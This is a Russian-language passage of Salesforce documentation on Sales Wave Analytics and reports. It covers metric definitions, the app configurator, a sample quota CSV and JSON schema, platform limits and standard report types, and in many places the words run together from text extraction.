Планпродаж - Закрыто и реализованоТребуется закрытие

Стоимость, необходимая для
выполненияпланапродаж (послеучета
ожидающих закрытия возможностей).

План продаж - ПрогнозТребуется поиск

Общая стоимость открытых
возможностей, находящихся в работе,

Открытые ожидаемые продажи

где категории прогноза не задано
значение «Закрыто» или «Пропущено».

Процентпокрытияожидаемыхпродаж,
необходимый для закрытия.

Открытые ожидаемые продажи /
Требуется закрытие

Покрытие открытых ожидаемых
продаж

Стоимостьзакрытыхиреализованных
возможностей для нового бизнеса.

Заказы

Разница между двумя элементами.Текущий год - Прошлый годРазница

Темп прироста в течение года.(Текущий год / Прошлый год) - 1Г / Г (%)

Средняя продажная цена для
возможностей, продуктов и т. д.

Общаястоимость / ОбщееколичествоСредняя продажная цена

Доляуспешнозакрытыхвозможностей
на основе стоимости.

Закрытоиреализовано / Всего закрытоСредний темп реализации по
стоимости

Доляуспешнозакрытыхвозможностей
на основе количества.

Закрытоиреализовано / Всего закрытоСредний темп реализации по
количеству

Время, затраченноеназакрытиесделки.Дата закрытия - Дата созданияСредний цикл продаж

Процент снижения цены по
прайс-листу.

abs ( (Продажная цена / Цена по
прайс-листу)-1 )

Средний процент скидки
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Индивидуализация интерфейса Sales Wave посредством конфигуратора

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и управления
приложениями Wave:
• «Управление

шаблонными
приложениями Wave
Analytics»

• “Изменение потока
данных Wave Analytics»

Конфигуратор Sales Waveпозволяет создавать приложения Sales Wave, где отображается
способ просмотра данных вашей компанией.

При создании приложения Sales Wave для организации встроенный конфигуратор
отображает последовательность вопросов, определяющих способ просмотра данных
по продажам на готовых панелях мониторинга Sales Wave. Исходя из способа
использования данных Sales Cloud в организации, выберите соответствующие ответы,
позволяющие повысить эффективность и полезность панелей мониторинга.

Например, конфигураторпредлагаетвыбратьосновноеидополнительноеполя, которые
должны использоваться для просмотра клиентов согласно их географическому
положению. Чтобыотсортироватьклиентовпостранеиобласти, выберитеполе «Страна»
в качестве основного, а поле «Область/штат» в качестве дополнительного. Чтобы
отсортировать клиентов по региону и стране, выберите поле «Регион» в качестве
основного, аполе «Страна» вкачестведополнительного. ПослесозданияSales Waveнапанеляхмониторингапереключатель
дляпереходамеждувыбраннымипервичнымиивторичнымиполями. Крометого, конфигураторпредлагает аналогичный
выбор для определения способа просмотра данных по клиенту, источнику, продукту и другимфакторам, используемым
при отслеживании коммерческой деятельности посредством системы Salesforce.

Тщательно обдумайте ответы на вопросы, поскольку это влияет на количество и содержание панелей мониторинга Sales
Wave, а также на способ просмотра пользователями данных о продажах в приложении. При необходимости панели
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мониторинга могут быть дополнительно настроены после создания приложения, а первые ответы могут быть изменены
путем удаления и повторного создания приложения Sales Wave.

СМ. ТАКЖЕ:

Создание и совместное использование приложения Sales Wave

Создание и совместное использование приложения Sales Wave

Пример CSV-файла приложения Sales Wave
Ниже приведен пример CSV-файла, создаваемого для обновления набора данных «План продаж (Цель)» приложения
Sales Wave.

Прим.: Данныйфайлявляется толькопримером. Рекомендуемсоздать уникальный CSV-файлнаосновесобственных
данных Sales Cloud, включающий указанные ниже поля.

• QuotaAmount

• StartDate

• OwnerName

• Username

См. раздел «Обновление набора данных "План продаж (Цель)" приложения Sales Wave» на странице 3965.

Пример:

QuotaAmount,StartDate,OwnerName,Username
5000000,2014-01-01,Priya Anand,user9.kthjbnrxifyo@na2.com
5000000,2014-02-01,Priya Anand,user9.kthjbnrxifyo@na2.com
5000000,2014-03-01,Priya Anand,user9.kthjbnrxifyo@na2.com
5000000,2014-04-01,Priya Anand,user9.kthjbnrxifyo@na2.com
5000000,2014-05-01,Priya Anand,user9.kthjbnrxifyo@na2.com
5000000,2014-06-01,Priya Anand,user9.kthjbnrxifyo@na2.com
5000000,2014-07-01,Priya Anand,user9.kthjbnrxifyo@na2.com
5000000,2014-08-01,Priya Anand,user9.kthjbnrxifyo@na2.com
5000000,2014-09-01,Priya Anand,user9.kthjbnrxifyo@na2.com
5000000,2014-10-01,Priya Anand,user9.kthjbnrxifyo@na2.com
5000000,2014-11-01,Priya Anand,user9.kthjbnrxifyo@na2.com
5000000,2014-12-01,Priya Anand,user9.kthjbnrxifyo@na2.com
5000000,2014-01-01,Nathan Sinha,user18.esm4nmdicvgc@na2.com
5000000,2014-02-01,Nathan Sinha,user18.esm4nmdicvgc@na2.com
5000000,2014-03-01,Nathan Sinha,user18.esm4nmdicvgc@na2.com
5000000,2014-04-01,Nathan Sinha,user18.esm4nmdicvgc@na2.com
5000000,2014-05-01,Nathan Sinha,user18.esm4nmdicvgc@na2.com
5000000,2014-06-01,Nathan Sinha,user18.esm4nmdicvgc@na2.com
5000000,2014-07-01,Nathan Sinha,user18.esm4nmdicvgc@na2.com
5000000,2014-08-01,Nathan Sinha,user18.esm4nmdicvgc@na2.com
5000000,2014-09-01,Nathan Sinha,user18.esm4nmdicvgc@na2.com
5000000,2014-10-01,Nathan Sinha,user18.esm4nmdicvgc@na2.com
5000000,2014-11-01,Nathan Sinha,user18.esm4nmdicvgc@na2.com
5000000,2014-12-01,Nathan Sinha,user18.esm4nmdicvgc@na2.com
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Файл набора данных «План продаж приложения Sales Wave» в формате
JSON
Используйте этот файл для обновления набора данных «План продаж приложения Sales Wave» с использованием даты
начала финансового года, если эта дата не соответствует 1 января.

Скопируйте содержимое этогофайла в выбранныйредакториизмените значение “fiscalMonthOffset”  (выделено
жирнымшрифтом) в данные месяца начала фискального периода. В метаданных Sales Wave «0» соответствует январю,
«1» — февралю и т.д. до «11», соответствующему декабрю. В коде, приведенном ниже, установлено значение «4»,
соответствующеемесяцумай. Используйтезначение, представляющеемесяцначалафискальногопериода. Затемсохраните
файл и загрузите его в Sales Wave в соответствии с инструкциями раздела «Обновление набора данных "План продаж
(Цель)" приложения Sales Wave».

{
"objects": [

{
"connector": "CSV",
"fullyQualifiedName": "Quota_csv",
"label": "Quota.csv",
"name": "Quota_csv",
"fields": [

{
"fullyQualifiedName": "QuotaAmount",
"name": "QuotaAmount",
"type": "Numeric",
"label": "QuotaAmount",
"precision": 18,
"defaultValue": "0",
"scale": 0

},
{

"fullyQualifiedName": "StartDate",
"name": "StartDate",
"type": "Date",
"label": "StartDate",
"format": "yyyy-MM-dd",

"fiscalMonthOffset": 4,
"isYearEndFiscalYear": true

},
{

"fullyQualifiedName": "OwnerName",
"name": "OwnerName",
"type": "Text",
"label": "OwnerName"

},
{

"fullyQualifiedName": "Username",
"name": "Username",
"type": "Text",
"label": "Username"

}
]

}
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]
}

Ограничения для Wave Analytics
Данный раздел содержит ограничения дляWave Analytics.

Ограничения ниже применяются ко всем поддерживаемым версиям. Чтобы увеличить данные ограничения, обратитесь
в компанию salesforce.com.

Ограничения для вызовов API

ЗначениеОграничение

100Максимальноеколичествопараллельных API-вызововWave Analyticsнаорганизацию

5,000Максимальное количество API-вызововWave Analytics на пользователя в час

Ограничения ля хранилищ данных лицензииWave Analytics

Прим.: Ограничения данных в таблице ниже действительны только для лицензий платформы Analytics Cloud
— Wave Analytics и приложения Analytics Cloud — Sales Wave Analytics, приобретенных 20 октября 2015 года или
позже.

Ограничение Ограничения на хранение данных в
лицензииWave Analytics являются не техническими,
а договорными. Владелец лицензии соглашается
строго отслеживать общее количество строк данных.

Лицензия

100 миллионов строкПлатформа Analytics Cloud — Wave Analytics

25 миллионов строк при использовании без лицензии
на платформу Analytics Cloud — Wave Analytics. При

Приложение Sales Wave Analytics

использовании лицензии на приложение Sales Wave
лимитданныхдлялицензиинаплатформунеповышается

100 миллионов строкAnalytics Cloud — Additional Data Rows (дополнительные
строки данных)

Ограничения хранилищ для набора данных

ЗначениеОграничение

250 миллионовдлялицензиинаплатформу, приобретенную
до 20 октября 2015 года.

Максимальноеколичествострок, суммированноеповсем
зарегистрированным наборам данных.

5000 (включая до 1000 полей дат)Максимальное количество полей в наборе данных

36,028,797,018,963,967Максимальное значение для каждого числового поля
набора данных
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ЗначениеОграничение

-36,028,797,018,963,968Минимальное значение для каждого числового поля
набора данных

Ограничения для потока данных

ЗначениеОграничение

24Максимальное количество выполнений потока данных
в течение суток

Прим.:  Wave использует пакетный API, который использует ограничения пакетных API Salesforce. Поток данных
добавляет отдельный вызов для пакетных API, чтобы извлекать данные из каждого объекта Salesforce. Поток
данных использует пакет размером от 100K до 250K, в зависимости от того, используются лифрагменты данных
потокомданныхилипакетным API. Врезультатедляизвлечениямиллионастрокизобъектапотокданныхсоздает
4–10 пакетов.

Ограничения приложения Sales Wave
Ограничения Sales Wave допускают не более десяти настраиваемых объектов и одного потока данных на каждую
организацию, внедряющую это приложение. Эти ограничения являются договорными, а не техническими.

Ограничения для внешних данных

ЗначениеОграничение

При использовании интерфейса External Data API: 40 Гб.Максимальныйразмерфайланазагрузкувнешнихданных

При использовании пользовательского интерфейса:
512 МБ.

50 ГБМаксимальный размер файла для загрузок внешних
данных в течение суток

50Максимальное количество файлов внешних данных,
которое может быть загружено в течение суток

32,000Максимальное количество символов в поле

5000 (включая до 1000 полей дат)Максимальное количество полей в записи

400,000Максимальноеколичествосимволоввовсехполяхзаписи

Ограничения для запросов

ЗначениеОграничение

50 для каждой лицензии на платформуМаксимальное количество параллельных запросов на
организацию
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ЗначениеОграничение

10Максимальное количество параллельных запросов на
пользователя

10,000Максимальное количество строк, возвращенных по
запросу

Значение «10 000» задано по умолчанию. Для установки
другого значения используйте оператор limit SAQL.

2 минутыВремя ожидания запроса

Следующие ограничения действительны для версии Developer Edition с поддержкой Wave.

Ограничения версии Developer Edition

ЗначениеОграничение

250,000Максимальное количество строк данных

5Максимальное количество параллельных запросов

Прим.:  Wave разработана на платформе force.com, поэтому на нее распространяются ограничения платформы
force.com. Например, ограничениепо запросам SOQL (20 000 символов) контролирует количествополей, из которых
трансформация sfdcDigest можетизвлекатьданные. Вслучаепревышенияограничений force.com возникаетошибка.
См. подраздел «Ограничения платформы force.com».

Ограничения для Wave Analytics
Wave Analytics немного отличается от других функций Salesforce.

Невозможность дифференцирования выпусков
Все клиенты получают обновленияWave Analytics одновременно, независимо от используемого экземпляра. Связанные
основные обновления выполняются для каждого экземпляра согласно поэтапному расписанию.

Локализация
ЛокализацияWave Analytics завершена. Ниже перечислены некоторые исключения.

• Языки, читаемые справа налево (например, арабский и еврейский), не поддерживаются.

• Сообщения об ошибках могут отображаться только на английском языке.

• Мобильное приложение iOS поддерживает только англоязычные версии образцов наборов данных и панелей
мониторинга.

Ограниченная поддержка интернационализации
Wave Analytics поддерживает интернационализацию. Ниже перечислены некоторые ограничения.
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• Чтобы просмотреть переведенные метки, измените регион и язык.

• Данные внутри наборов данных не локализованы.

• Сортировка данных внутри наборов данных может работать некорректно.

• Метаданные каждого набора данных позволяют задавать только один регион. Независимо от выбранного региона и
языка, наборданныхбудетотображатьвсемпользователямодинаковыедаты, время, форматычиселиименаизмерений.

• Поиск по фильтрам чувствителен к регистру и диакритическим знакам. Например, поиск по фильтру «Andre» не
возвращает результат «André».

• Мультивалюта не поддерживается. При извлечении стандартной валюты организацииWave Analytics использует
валюту для денежных значений без преобразования в другую валюту.

Невозможность использования функций доступности
Wave Analytics не поддерживает функции доступности.

Невозможность использования пакетирования и интерфейса Metadata API
Wave Analyticsнеподдерживаетиспользованиеинтерфейса API метаданных. ПриложенияWave Analyticsнеподдерживают
возможность пакетирования или управления версиями. Перенос данных, объектов и приложенийWave Analytics из
безопасной организации в производственную должен выполняться вручную. Стандартныйшаблон организации (DOT)
не поддерживает дублирование организации.

Ограниченная безопасность поля
Безопасностьполянедоступна внешнимданным, загруженнымпосредствомфайлов. Безопасностьполя, реализованная
в исходной базе данных или объекте Salesforce, не сохраняется при загрузке данных в набор данныхWave Analytics.
Дополнительную информацию см. в Руководстве по обеспечению безопасности Wave Analytics.

Поддержка приложения Sales Wave для объектов и полей Salesforce
Sales Wave поддерживает все стандартные и настраиваемые объекты и данные Salesforce. Однако при первом создании
приложения по умолчанию платформа будет содержать только предустановленный набор полей и объектов.

Sales Wave создает поток данных, который публикует выбранные поля из следующих стандартных объектов Salesforce.

• Организации

• Пользователи

• Роли

• Возможности

• Продукты (элемент строки возможностей)

• Задачи

• События

Sales Waveподдерживаетстандартныеинастраиваемыеполястандартныхобъектов Salesforce. Указанныеполяопределяются
ответами, данными пользователем при создании приложения с помощью встроенного мастера конфигурации.

Прим.: Sales Wave ограничивает поддержку настраиваемых объектов до десяти настраиваемых объектов на каждую
организацию, где внедрено приложение Sales Wave. Это ограничение договорное, а не техническое.
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Чтобы добавить настраиваемые объекты или дополнительные поля, не включенные при первом создании приложения,
необходимообновитьпотокданныхSales Wave. Подробныесведениясм. вразделе «Созданиенаборовданныхпосредством
потока данных».

Поддержка данных, не относящихся к системе Salesforce, приложением Sales Wave
Sales Waveнеподдерживает внешниеисточникиданных, кроме CSV-файла, содержащего данныепланапродажна уровне
пользователя. Импортдругихвнешнихданныхдоступентолькоприналичиидополнительнойлицензии. Дополнительную
информацию можно получить у представителя Salesforce.

Прим.: Чтобы включить данные о плане продаж в Sales Wave, необходимо загрузить файл CSV с подробными
сведениями. Дополнительную информацию см. в разделе «Обновление набора данных "План продаж (Цель)"
приложения Sales Wave».

Поддержка меню действия для объектов и действий
Текущее внедрение меню действий обеспечивает ограниченную поддержку объектов и действий Salesforce.

В настоящее время можно создавать меню быстрых действий для настраиваемых объектов, sObjects и для следующих
стандартных объектов Salesforce:

• Организация

• Обращения

• Интерес

• Возможность

Действия в макетах страниц «Контакты», «Пользователь» или «Профиль пользователя» не поддерживаются.

Меню действия на текущий момент поддерживает действия Chatter («Сообщение», «Файл», «Благодарность», «Ссылка»,
«Опрос» и «Вопрос»), объектные действия и глобальные действия. Действия Salesforce1 не поддерживаются.

В будущих выпусках будут поддерживаться другие объекты и действия.

СМ. ТАКЖЕ:

Вопросышифрования платформы

Отчеты и панели мониторинга

Система Salesforce поддерживает разнообразные инструменты составления отчетов, предназначенные для анализа и
обработки данных.

Сбор данных посредством отчетов
Отчеты предоставляют доступ к данным, собранным организацией, которые могут использоваться для принятия
взвешенных решений. Данные организации могут просматриваться самыми разными способами, отображаться в
удобных форматах и публиковаться на панелях мониторинга для общего доступа.

Просмотр подробных сведений посредством панелей мониторинга
Панели мониторинга позволяют пользователям просматривать изменяющиеся бизнес-условия и принимать
оперативные решения на основе данных, собранных посредством отчетов. Рекомендуем использовать панели
мониторинга для определения текущих тенденций, сортировки количественных показателей и оценки последствий
предпринятых действий.
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Отчеты и панели мониторинга

Отчеты

Общие сведения об отчетах

ВЕРСИИ

Доступно в: Salesforce
Classic и Lightning
Experience.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Отчеты предоставляют пользователям доступ к данным Salesforce. Прежде чем начать
создание, чтение или предоставление общего доступа к отчетам, просмотрите общие
сведения об отчетах ниже.

При подготовке к составлению отчетов по данным Salesforce воспользуйтесь советами
ниже.

• Качественная настройка отчетов сокращает время их выполнения.

• Прежде чем создать отчет, составьте список вопросов, на которые должны быть
получены ответы. Данный алгоритм позволяет отчету возвратить все необходимые
данные.

• Общийдоступкотчетампредоставляетсяпосредствомпапок. Отчетдоступенлюбому
пользователю, имеющему доступ к папке, выбранной для его хранения. Убедитесь, что отчет хранится в
соответствующей папке.

Прежде чем начать создание первого отчета, просмотрите указанные ниже функции и понятия.

Конструктор отчетов
Конструкторотчетов — это визуальныйинтерактивныйинструмент, предназначенныйдля созданияиредактирования
отчетов. Конструктор отчетов позволяет пользователям выбирать тип отчета, формат отчета и поля отчета.

Чтобы открыть конструктор отчетов, щелкните «Создать отчет».

Поля
Каждый результат отчета описывается как минимум одним полем. Представьте отчет в виде таблицы сведений, где
каждая строка соответствует результату, а каждый столбец соответствует полю.

Например, менеджер отдела кадров создает отчет по сотрудникам. Каждый результат соответствует сотруднику, а
каждоеполе соответствуетотдельномуфрагментуданныхосотруднике: личноеимя, фамилия, должность, датаначала
и т. д.

При создании или редактировании отчета рекомендуем выбрать поля, которые должны отображаться отчетом. Во
избежание длительного выполнения отчетов, рекомендуем добавлять только нужные поля.

Фильтры
Фильтрыпозволяютограничиватьданные, возвращаемыеотчетом. Фильтрымогутиспользоваться вомногих случаях
(например, отображение конкретных данных отчета или быстрое выполнение отчета).

Например, отчетвозвращаетвсеобращениякомпании. Чтобыпросмотретьтолькооткрытыеобращения, назначенные
текущему пользователю, отфильтруйте отчет по полям «Ответственный» и «Статус».

Добавьтефильтры в конструкторе отчетов. Прииспользовании Lightning Experience добавление, редактированиеили
удаление фильтров также доступно во время чтения отчета.

Типы отчетов
Тип отчета определяет поля, доступные в отчете. Например, отчеты по файлам и содержимому содержат поля «Код
файла», «Имя файла» и «Итого загрузок». Отчеты по организациям содержат поля «Код организации», «Имя
организации» и «Тел.».
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Выбор типа отчета является первым этапом создания отчета.

Формат отчета
Формат отчета определяет способ отображения результатов отчета. Возможные форматы: табличный, сводный,
матричный или составной. Lightning Experience не поддерживает составные отчеты.

Создание отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Создание отчета поможет найти ответы на вопросы о данных Salesforce.

1. Создание отчета
Конструктор отчетов — это интерактивный инструмент для быстрого и удобного
доступа к данным. Конструктор отчетов позволяет создавать новые и редактировать
текущие отчеты.

2. Составление отчетов по архивным изменениям
Благодаря составлениюстандартныхоперативныхотчетовпо текущему состоянию
дел, пользователи могут анализировать ежедневные и еженедельные изменения
возможностей, обращений, прогнозов и настраиваемых объектов.

3. Составление отчетов по архивным данным посредством отчетных снимков
Отчетный снимок — это средство составления отчетов по архивным данным. Авторизованные пользователи могут
сохранять результаты табличных или сводных отчетов в полях настраиваемого объекта, а затем соотносить эти поля
с соответствующими полями целевого объекта. Кроме того, они могут планировать время выполнения отчета для
загрузки данных отчета в поля настраиваемого объекта.Отчетные снимки позволяют обрабатывать данные отчетов
аналогично другими записями Salesforce.

4. Быстрая категоризация данных посредством областей
Функция добавления в область позволяет быстро классифицировать записи отчета без создания формулы или
настраиваемого поля. При создании поля области пользователь определяет несколько категорий (областей),
используемых для группирования значений отчета.

5. Объединение разных типов данных в составном отчете
Составной формат отчета позволяет просматривать разные типы сведений в одном отчете. Составной отчет может
содержать данные из разных типов стандартных или настраиваемых отчетов.

6. Графическое отображение данных отчета
Диаграммы, используемые для отображения данных отчета, позволяют ускорить процесс их восприятия. Диаграммы
отображаютсяпрямонад таблицейотчета. Благодарядиаграммам, пользователимогутполучатьобщеепредставление
об отчетах без детализации их данных. Рекомендуем использовать линейные диаграммы для отслеживания
динамическийизменений, а горизонтальныеилисекторныедиаграммыдлясопоставлениязначенийнаопределенный
момент времени. При необходимости диаграммы могут просматриваться в компонентах панели мониторинга.

7. Отображение данных отчета в таблицах
Таблицыпозволяютскрыватьнекоторыесведенияидиапазоны, ограничивать количествоотображаемыхрезультатов
и использовать цветовые выделения, предоставляя пользователям возможности более удобного просмотра данных.
При необходимости таблицы могут просматриваться в компонентах панели мониторинга.

8. Составление отчетов по данным Salesforce посредством приложения Excel

Когда Salesforce отключит поддержку TLS 1.0, мы завершим поддержку Connect for Office.Connect for Office включает
надстройку Excel, которая позволяет выполнять безопасный доступ к отчетам Salesforce при помощи Microsoft® Excel®.
Отчеты, созданные в системе Salesforce, могут переноситься в приложение Excel, формулы, диаграммы и сводные
таблицы которого позволяют настраивать и анализировать данные.
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9. Обновление мастера отчетов
Конструкторотчетов, являющийсяполнофункциональнымграфическимредактором, — этостандартныйинструмент
длясозданияиредактированияотчетов. Еслиорганизациявсеещеиспользуетустаревшиймастеротчетов, рекомендуем
включить поддержку конструктора отчетов.

Создание отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Конструкторотчетов — этоинтерактивныйинструментдлябыстрогоиудобногодоступа
к данным. Конструктор отчетов позволяет создавать новые и редактировать текущие
отчеты.

Чтобы настроить готовый отчет посредством конструктора отчетов, щелкните имя
нужного отчета и нажмите кнопку «Настроить». Благодаря сжатому верхнему
колонтитулу страницы, конструктор отчетов позволяет оптимизировать полезную
площадь экрана. Чтобы просмотреть вкладки приложения, закройте конструктор или
щелкните логотип Salesforce.

1. Выбор типа отчета
Тип отчета — это набор правил, определяющих записи и поля, которые должны
отображаться в отчете. Пользователям доступны стандартные типы отчетов и
настраиваемые типы отчетов, заданные администратором.

2. Выбор формата отчета
Отчетможетиспользоватьтабличный, сводный, матричныйилисоставнойформат.
Оптимальныйформат отчета определяется сложностью отображаемых данных и
текущими навыками пользователей.

3. Создание отчета
Создайте отчет, чтобы получить поминутный обзор какого-либо аспекта
деятельности, например статуса клиентов, возможностей, обращений в службу
поддержки и т. д.

4. Создание настраиваемого отчета
Пользователимогутнастраиватьстандартныеотчетыилисоздаватьсобственныенастраиваемыеотчетывсоответствии
с текущими требованиями организации.

5. Создание настраиваемого отчета в режиме доступности

6. Группирование данных отчета
Сводные, матричные и составные отчеты позволяют группировать данные в строках или столбцах для отображения
важнойинформации. Например, чтобыпросмотреть закрытыевозможности, сгруппируйтевозможностипостолбцу
«Дата закрытия»; чтобы просмотреть количество обращений для каждого продукта, сгруппируйте обращения по
продукту. Группировки могут использоваться внутри группировок.

7. Использование отчета при загрузке области предварительного просмотра
Вбольшинстве случаевработанадотчетомможетбытьпродолженадажевовремя загрузкиобластипредварительного
просмотра. Например, группировка может быть создана во время загрузки столбцов, которые соответствуют полям,
добавленным в редактируемый отчет.

8. Настройка отчетов
Конструктор отчетов — это экранный редактор отчетов.Окно конструктора отчетов позволяет использовать поля и
фильтры отчетов, а также поддерживает предварительный просмотр отчетов только по некоторым данным.
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9. Поля отчетов
Панель «Поля» содержитполя, доступные в выбранном типе отчета и организованныепопапкам.Кроме того, панель
«Поля» содержит настраиваемые формулы резюмирования, доступные для создания, редактирования и удаления.

10. Резюмирование данных отчета
Поле резюмирования содержит числовые значения, поддерживающие вычисление суммарного, среднего,
максимального и минимального значений. Поля резюмирования отображаются на всех уровнях группировки. Поля
резюмирования сводных и матричных отчетов также отображаются на уровне общей суммы.

11. Подведение промежуточных результатов отчетов
Промежуточные результаты отчетов позволяют анализировать основные изменения данных. Пользователи могут
группироватьнаборыданных, сортировать группировкиисравниватьпромежуточныерезультатыпокаждомунабору
относительнообщегоитога. Крометого, сводныеисоставныеотчетыпозволяютподводитьпромежуточныерезультаты
по нескольким полям путем отображения каскадных наборов данных.

12. Интеллектуальное суммирование в отчетах
Интеллектуальноесуммированиеобрабатываетповторяющиесяданныетолькоодинраз. СистемаSalesforceиспользует
интеллектуальное суммирование при выполнении отчетов, содержащих повторяющиеся данные в любом столбце,
выбранном для суммирования или вычисления среднего значения.

13. Работа с формулами в отчетах
Формулы позволяют создавать настраиваемые поля резюмирования на основе вычисленных значений посредством
данных отчета. Данные формулы могут использоваться в качестве столбцов отчета.

14. Сохранение отчета
Чтобы сохранить внесенные изменения, нажмите кнопку «Сохранить». Чтобы получить точную копию исходного
отчета без внесенияизменений, нажмите кнопку «Сохранитькак». Еслииспользуется Lightning Experience, щелкните
«Клонировать», чтобы получить точную копию отчета.

СМ. ТАКЖЕ:

Использование отчета при загрузке области предварительного просмотра

Создание отчета

Создание отчета

Поля отчетов

Выбор типа отчета

Настройка отчетов

Выбор формата отчета

Создание настраиваемого отчета

Объединение разных типов данных в составном отчете
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Выбор типа отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Тип отчета — это набор правил, определяющих записи и поля, которые должны
отображаться в отчете. Пользователям доступны стандартные типы отчетов и
настраиваемые типы отчетов, заданные администратором.

Одним из основных этапов создания отчета является выбор правильного типа отчета.

1. Нажмите кнопку «Создать отчет» на вкладке «Отчеты».

2. Выберите тип отчета и нажмите кнопку «Создать».

Прим.: Тип отчета после создания отчета изменить невозможно.

Для получения дополнительной информации см. разделы с описанием стандартных и
настраиваемых типов отчетов.

Типы стандартных отчетов
Система Salesforce предоставляет доступ к большой коллекции типов стандартных
отчетов, поддерживающих возможности индивидуальной настройки. Создание
абсолютно новых отчетов требуется крайне редко.

Готовые типы настраиваемых отчетов
Некоторыефункции Salesforce поддерживают готовые типынастраиваемыхотчетов,
исключая необходимость создания нового отчета.

СМ. ТАКЖЕ:

Настройка типа настраиваемого отчета

Почему отчет отображает другие данные?
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Типы стандартных отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.
(Доступные отчеты
определяютсяиспользуемой
версией.)

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для запуска отчетов:
• «Запуск отчетов»

Для планирования отчетов:
• «Планированиеотчетов»

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Система Salesforce предоставляет доступ к большой коллекции типов стандартных
отчетов, поддерживающих возможности индивидуальной настройки. Создание
абсолютно новых отчетов требуется крайне редко.

Совет: Параметры доступности папок на вкладке «Отчеты», настроенные
администратором, могут препятствовать отображению некоторых папок.

Чтобы получить доступ к нужным данным в случае отсутствия отчетов, доступных для
настройки, создайте настраиваемый отчет.

1. Отчеты по организациям и контактам
Отчетыпо организациями контактам позволяютпросматривать активные, забытые
или новые организации, а также организации, принадлежащие ответственному или
партнеру. Два стандартных отчета по контактам позволяют создавать почтовый
список контактов или отслеживать возможности по роли контакта.

2. Отчеты по действиям
Отчеты по действиям позволяют собирать данные об открытых действиях,
завершенныхдействиях, многопользовательскихсобытияхилиотложенныхзапросах
наутверждение, где текущийпользовательявляетсяделегированнымответственным
за утверждение.

3. Административные отчеты
Административные отчеты позволяют анализировать пользователей Salesforce,
документы и отложенные запросы на утверждение. Данные отчеты позволяют
просматривать активных пользователей Salesforce и пользователей, выполняющих
вход.

4. Отчеты по кампаниям
Отчеты по кампаниям позволяют анализировать принятые маркетинговые меры.
Пользователи могут создавать отчеты по рентабельности инвестиций, вложенных
в кампании, отслеживать целевую аудиторию кампаний и полученные отзывы, а
также анализировать возможности, созданные в результате проведения кампаний.

5. Отчеты по файлам и содержимому
Отчеты по файлам и содержимому позволяют анализировать показатели использования файлов и Salesforce CRM
Content.

6. Отчеты по прогнозам
Отчеты по прогнозам содержат сведения о настраиваемых прогнозах.

7. Отчеты по интересам
Отчеты, доступные в папке «Отчеты по интересам», позволяют просматривать сведения об источнике и статусе
интересов, время обработки интересов, забытые интересы и журнал полей интересов.

8. Отчеты по возможностям
Отчетыповозможностямсодержат сведенияо возможностях, включаяответственных, организации, этапы, стоимости
ит. д. Стандартныепараметрыотчетапозволяютпросмотретьдля каждогообъекта те сведения, которыеиспользуются
чащевсего. Однакопользовательможетнастроитьотчет такимобразом, чтобыпросмотретьдополнительныесведения
(например, основной источник кампании, категорию прогноза и синхронизированную смету).

3991

ОтчетыAnalytics



9. Отчеты по продуктам и активам
Отчеты, доступные в папке «Отчеты по продуктам и активам», позволяют просматривать сведения о продуктах,
установленныхпользователями. Данныеотчетыпозволяютпросматриватьактивы, принадлежащиеклиентам, создавать
списки обращений, сохраненных для отдельного актива, и определять активы, которые не связаны с продуктом.

10. Отчеты по самообслуживанию
Отчетыпосамообслуживаниюпозволяютанализироватьэффективностьиспользованияпорталасамообслуживания.
Данные отчеты позволяют определять количество просматриваемых обращений, количество зарегистрированных
клиентов или мнение клиентов относительно предложенных решений.

11. Составление отчетов по действиям службы поддержки
Отчеты, доступныевпапке «Отчетыслужбыподдержки», позволяютотслеживать количество созданныхобращений,
комментариев к обращениям, сообщений эл. почты с обращениями, ответственных за обращения, ролей контактов
обращений, обращений с решениями, а также время, прошедшее с момента последнего изменения статуса или
ответственного за обращение, и журнал обращений.

СМ. ТАКЖЕ:

Поиск отчета

Страница запуска отчета

Создание настраиваемого отчета

Предоставление доступа к данным посредством отчетов

Отчетыпоорганизациямиконтактам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.
(Доступные отчеты
определяютсяиспользуемой
версией.)

Отчетыпоорганизациямиконтактампозволяютпросматриватьактивные, забытыеили
новыеорганизации, а такжеорганизации, принадлежащиеответственномуилипартнеру.
Два стандартныхотчета по контактампозволяют создавать почтовый список контактов
или отслеживать возможности по роли контакта.

Стандартный отчет: журнал поля
Если организация отслеживает журнал поля для организаций или контактов, то
данныесведениямогутбытьпросмотреныпосредствомотчета «Журналорганизации»
или «Журнал контакта».

Стандартный отчет: организации-лица
Прииспользованииорганизаций-лицсистемаподдерживаетполяорганизаций-лиц,
которые, как правило, дополняются префиксом «Организация-лицо:» в отчетах
по организациям. Кроме того, поле «Является организацией-лицом» может быть
добавлено в отчеты по организациям и контактам. Администратор может заменить
термин «Организация-лицо» другой меткой.

Пакетное создание стандартных писем
Пользователи могут создавать отчеты по контактам, экспортировать полученные данные в Microsoft® Excel® и
использовать приложение Microsoft® Word® для пакетной отправки стандартных писем.

Последнее действие
Поле «Последнее действие» содержит дату в списках и отчетах, связанных с действиями, и отображает последнее
действие пользователя в компании с организацией или контактом. Эта дата является датой и временем последнего
события или крайним сроком последней закрытой связанной задачи.
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Фильтр «Просмотр» для отчетов по организациям
Стандартныйфильтр «Просмотр» для отчетов по организациямпозволяет ограничивать сведения об организациях
перечисленныминижепараметрами. Данныепараметрыопределяютсяиспользуемойверсиейсистемыинастройками
организации.

